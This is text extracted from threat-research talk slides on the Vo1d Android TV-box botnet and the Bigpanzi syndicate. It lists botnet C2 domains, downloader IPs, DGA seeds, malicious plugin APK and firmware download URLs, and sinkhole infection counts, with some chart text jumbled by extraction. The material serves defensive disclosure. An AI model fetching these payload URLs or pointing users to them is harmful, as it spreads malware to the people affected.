9E 29 9F 82 2F 80 9E 9C 83 82 2F 80 9E 2C 83 82 2F 80 9E 9C 83 82	16 25 12 00 33 6B 52 8F 83 8E BC A3 81 AC D6 A9 00 8A ED 70 0B 0B 3E 72 47 4B 44 48 7C 3B 3F 39 70 04 4A 41 4B 48 70 4D 4D 4D 00 4E E9 87 FA 8B F1 FF B6 88 B6 F8 FC 88 81 F8 8D F8 FF F1 FC FA 88 8C F8 FD 8E 8A FA 89 81 FA FF FC F8 8C 60 83 69 99 92 99 F8 72

def decbuf(buf):


leng=buf[0]^buf[1]^buf[2]
out=''
for i in range(3,leng+3):
 tmp=((buf[i]^buf[1])-buf[1])&0xff
 out+=chr((tmp^buf[0]))
print(out)

Vo1d – "Humble" Boss



2024.11.29, Vo1d Variant, XLab

- sl87362.com:v0532:9999 (v05, 32bits)
- ✓ Download & Run Executable
- ✓ 1.35M+ nodes at 12.08





XXTEA DGA(32 seeds) RSA

Vo1d – Find More



38.46.218.36:81/v1.0.0/jddx 38.46.218.39/v1.0.0/jem


More j-variant?

ssl87362.com:v0532:9999 ssl87362.com:v0832:9999 More {v0532} ? 150+



Xlab看门左狮子 - 我是渣兔啊 🥹 💵 6:06

502 http://38.46.218.36:81/v1.0.0/info 200 http://38.46.218.36:81/v1.0.0/jbf 200 http://38.46.218.36:81/v1.0.0/jddx 200 http://38.46.218.36:81/v1.0.0/jeex 200 http://38.46.218.36:81/v1.0.0/jem 200 http://38.46.218.36:81/v1.0.0/jhh 200 http://38.46.218.36:81/v1.0.0/jtxx



http://38.46.218.36:81/v1.0.0/jfz

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{"cmd_type":	"status",	"dmsg":	"getfile_p8932	', "plen	": 297021	1, "psha1'	": "bacc2	43364f7ba	4c83c2813	1af6c66b2	15d1658a	
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{"cmd_type":		<u> </u>	getfile_p8732									
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Vo1d – Infras & nodes



C2 √ 12

Resolution Records				
Domain	FirstSeen 🌲	LastSeen ≑	Count ≑	Tags
viewboot.com	2024-09-25 09:58:57	2025-02-23 23:59:20	28671	Void僵尸
tumune3.com	2024–09–28 09:52:23	2025-02-23 23:56:18	40714	Void僵尸
ttekf42.com	2024–11–11 23:19:01	2025-02-23 23:52:07	7727	Void僵尸
pxleo5fbca7141b5.com	2024–10–09 12:27:40	2025-02-23 23:02:13	253	Void僵尸
ssl8rrs2.com	2024–11–12 10:26:19	2025-02-23 22:55:51	7661	Void僵尸

Resolution Records

Domain	FirstSeen \$	LastSeen ≑	Count \$	Tags
tumune.com	2024-10-18 21:51:06	2025–02–23 23:58:35	255849	Void僵尸…
ttss442.com	2024-11-09 19:19:42	2025-02-23 23:57:15	7203	Void僵尸…
snakeers.com	2024-09-24 10:13:51	2025–02–23 23:02:53	812	Void僵尸
works883.com	2024–10–21 18:20:00	2025–02–23 22:15:43	8943	Void僵尸…
skikiy.com	2024-10-09 01:50:00	2025-02-10 21:51:12	18	Void僵尸…
tttrs2.com	2024–12–17 22:24:12	2024–12–24 01:15:26	4	Void僵尸…
sleepwwx.com	2024-05-16 13:28:42	2024-11-14 12:48:12	251	Void僵尸

Downloader ✓ 4

ss187362.com wowokeys.com 38.46.218.36 38.46.218.37 38.46.218.38 38.46.218.39

DGA SEEDS ✓ 256+

d4cbdf51ab4c4d9d 47edfeadfdb948a8 74a8b512a29a4dc2 2164963d1a5547c9 1cac3502eda1419f 0d7e5874464640c7 edd3b49c6ed34236 7bfa9de8de114e82 23777fdfccb84e13 7761dc15367b4930 4686c0a0e94c48b3 9cd5706ea0da4608 238941e24fab4efa 9b630e2ad0434ec5 af9726efee36479f 6a7126d9778f46fb b5fcced4f94443a0 89b854ebfe5d1076 b24e10dabe572575 bd3000aff4b8a5c9

Vo1d – Infras & nodes





Vo1d – Unsolved Problems



What is the real purpose of the Vo1d Botnet? How can we disrupt the Vo1d botnet?

Vo1d – P1: Business



Mzmess Framework

"code":	200,	
"msg":	[
{		
	"i":	63,
	"v":	2,
	"a":	4,
	"u":	"wowokeys.com:p6332:9999",
	"m":	"d6b48f14a90432eabe6b616c3f2edb39",
	"t":	1
},		
{		
	"i":	82,
	"v":	2,
	"a":	4,
	"u":	"wowokeys.com:p8232:9999",
	"m":	"4c186cd4affc71be089d00bbe2cbebed",
	"t":	2
_		

Plugins

intervalTime: 3600000, md5: "814fece3296cfd2ba6da749e80d5006e", packageName: "com.app.mz.jaguarn", status: 0, url: http://cdn.webtencent.com/sdkfile/814fece3296cfd2ba6da749e80d5006e.apk? t=1736797341501&r=ZNopb2CboZP1mJzx&s=9a0057c29508958ed06da140c5c18729, versionNo: 14

intervalTime: 3600000,

md5: "541d3f9d735981cacf57682e30582932", packageName: "com.app.mz.lxhwdgn",

status: <mark>1</mark>,

url: http://cdn.webtencent.com/sdkfile/541d3f9d735981cacf57682e30582932.apk? t=1738980573148&r=c6cb4Ebsp6CIKMP7&s=383872c38a017d32d1a872de9e2115be, versionNo: 1

intervalTime: 3600000,

md5: "c8bb96e7f823de1485eb6f178039587b",

packageName: "com.app.mz.popan",

status: 0,

url: http://cdn.webtencent.com/sdkfile/c8bb96e7f823de1485eb6f178039587b.apk? t=1736319510214&r=ig1WMIGWNXdlqa15&s=6eb58e7c55fe7721df9775104b46eee8, versionNo: 7

intervalTime: 3600000,

md5: "0994b5447b309c618f45443c6818b8bc",

packageName: "com.app.mz.spiritn",

status: 0,

url: http://cdn.webtencent.com/sdkfile/0994b5447b309c618f45443c6818b8bc.apk? t=1737212166798&r=JVm7ZDeiZG2psKUi&s=f8cd1170ab4f9d22fa219b91f76abbfb, versionNo: 2 Residential proxy Ad fraud Click fraud

Vo1d – p2: Shadowserver

SHADOWSERVER Lighting the way to a more secu



My pleasure. Let's make the world a better place. C7 ... Hats off to what you guys do! 1,800,000 2025-03-05 1685140 1,600,000 Mar 4, 2025, 8:42 PM South America 569689 1,400,000 688801 Asia Replying to We have sinkholed the hardcoded C2s - this happened late Africa 304180 1,200,000 3rd March UTC, so it will take a while for the DNS changes to propagate, but you can already see the increase for North America 58785 yesterday: dashboard.shadowserver.org/statistics/com... 1,000,000 59872 Europe Let's look forward to even bigger numbers. Yesterday, our DGA sinkhole captured around 1.3 3813 Oceania 800.000 million unique IPs. 600,000 Mar 4, 2025, 8:44 PM 400,000 Great analysis on all this from you guys, kudos! 200,000 Mar 4, 2025, 11:13 PM 0 Approaching 1.6M infections -2025-02-25 2025-03-05 2025-03-13 2025-03-21 2025-03-29 2025-04-06 dashboard.shadowserver.org/statistics/com... South America
 Asia
 Africa
 North America
 Europe
 Oceania Mar 5, 2025, 4:15 PM

to a more secure Internet

 $\equiv -$ Daily : 1.4 M + 2025-04-14 2025-04-22 2025-04-30 2025-05-08

© 2025 The Shadowserver Foundation



Deliver a Verdict

The Bigpanzi Syndicate

Support Team, Company ...

Syndicate – Beyond SKIDs



A long history of activity massive infection scale

Syndicate - Support Team



Pcdn Downloader ✓ ak.tknxg.cf

YouTube · Customer Support Team
 9.5K+ views · 6 years ago

How to upgrade system



www.iptvkings.com Download upgrade file link: http://ak.tknxg.cf:8880/stbdownload/s903/HTV3-ota-20171117.zip.

clue 1


 (4)若断电重启按menu键几次均无法自动升级,可使用牙签按主盒子背后的小口不动然后断电重启即可自动升级

 升级

 ps.

.zip文件地址:http://ak.tknxg.cf:8880/stb-download/s905/HTV5-Hbox-ota-nologo-20171115.zip .aml文件地址:http://ak.tknxg.cf:8880/stb-download/download/factory_update_param.aml 或者使用以下链接


.zip文件地址:http://ak.tknxg.cf:2086/stb-download/s905/HTV5-Hbox-ota-nologo-20171115.zip .aml文件地址:http://ak.tknxg.cf:2086/stb-download/download/factory_update_param.aml



Syndicate – Official Firmware



FoneStar ✓ RDS-585WHD



Smartuptool Firmware

62	62	73	2E-73	6F	6F	31-32	33	31	2E-6E	65	74	00	bbs. soo1231. net
43	6F	6C	6C- <u>65</u>	63	74	54-61	73	6B	00-73	75	6E	70	CollectTask sunp
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Illuminating Dark Corners

The Bigpanzi Identity

Patent, Speaker, Company

Identity - TLP:AMBER





The following slides are shy. Please don't take photos!

The end of the talk



Tip of the iceberg

✓ Long term player
✓ Pandoraspear & pcdn botnet
✓ Vo1d botnet

✓To be continued...





Thanks!

Q&A

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